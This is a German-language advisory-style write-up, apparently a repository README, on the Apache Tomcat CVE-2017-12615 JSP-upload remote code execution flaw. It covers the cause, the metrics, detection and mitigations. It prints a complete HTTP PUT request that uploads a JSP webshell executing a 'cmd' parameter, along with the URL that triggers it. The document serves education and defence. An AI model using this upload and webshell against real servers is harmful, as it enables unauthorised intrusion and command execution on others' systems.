
CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE)
CVE-2017-12615 ist eine Remote-Code-Ausführung (RCE)-Sicherheitslücke, die Apache Tomcat 7.0.0 bis 7.0.79 betrifft, das auf Microsoft Windows läuft, wenn HTTP PUT-Anfragen aktiviert sind.
Die Sicherheitslücke besteht, weil Tomcat hochgeladene JSP-Dateien falsch behandelt, wenn der DefaultServlet mit dem readonly-Parameter auf false gesetzt ist. Unter diesen Bedingungen kann ein nicht authentifizierter Angreifer eine bösartige JSP-Datei direkt auf den Webserver hochladen und beliebigen Java-Code ausführen, indem er einfach die hochgeladene Datei anfordert.
Diese Sicherheitslücke wurde aufgrund der einfachen Nutzbarkeit gegen falsch konfigurierte Server zu einem der bekanntesten Tomcat-RCE-Probleme.
readonly="false" im DefaultServlet konfiguriert| Metrik | Wert |
|---|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (High) |
| Angriffsvektor | Netzwerk |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Keine |
| Auswirkung | Remotecodeausführung |
Normalerweise verhindert Apache Tomcat, dass Benutzer ausführbare JSP-Dateien hochladen.
Wenn jedoch:
readonly=false)kann ein Angreifer eine JSP-Datei direkt in das Webroot hochladen.
Nach dem Hochladen führt die Anforderung dieser JSP dazu, dass Tomcat sie kompiliert und ausführt, was die Ausführung beliebigen Java-Codes unter den Berechtigungen des Tomcat-Dienstes ermöglicht.
Attacker
│
│ HTTP PUT
▼
Uploads malicious JSP shell
│
▼
Tomcat stores file
│
│ HTTP GET
▼
Requests uploaded JSP
│
▼
Tomcat compiles JSP
│
▼
Java code executes
│
▼
Remote Code Execution
Ein typischer Angriff umfasst folgende Schritte:
.jsp-Webshell hochladen.Es ist keine Authentifizierung erforderlich, wenn der Server anfällig ist.
Beispiel einer HTTP-PUT-Anfrage:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
Bei Erfolg antwortet der Server mit:
HTTP/1.1 201 Created
Das Payload kann dann durch Aufrufen von ausgeführt werden:
http://victim.com/shell.jsp?cmd=whoami
Eine einfache Möglichkeit, anfällige Systeme zu identifizieren, besteht darin, zu versuchen, eine harmlose Test-JSP hochzuladen:
PUT /test.jsp
Mögliche Antworten sind:
201 Created
oder
204 No Content
Wenn die hochgeladene Datei anschließend über HTTP abgerufen werden kann, ist der Server wahrscheinlich anfällig.
Bei erfolgreicher Ausnutzung kann ein Angreifer:
Sicherheitsteams sollten nach Folgendem suchen:
.jsp-DateienEmpfohlene Gegenmaßnahmen umfassen:
readonly="true" verwendet.| Eigenschaft | Wert |
|---|---|
| Sicherheitslücke | Beliebiger JSP-Upload |
| CWE | CWE-434 - Uneingeschränkter Upload von Dateien mit gefährlichem Typ |
| Authentifizierung erforderlich | Nein |
| Ausnutzungskomplexität | Niedrig bei anfälligen Konfigurationen |
| Ergebnis | Remotecodeausführung |
| Plattform | Windows |
| Dienst | Apache Tomcat |
Dieses Repository ist ausschließlich für Bildungszwecke, defensive Sicherheitsforschung und autorisierte Penetrationstests gedacht. Verwenden Sie diese Informationen nicht gegen Systeme ohne ausdrückliche Genehmigung.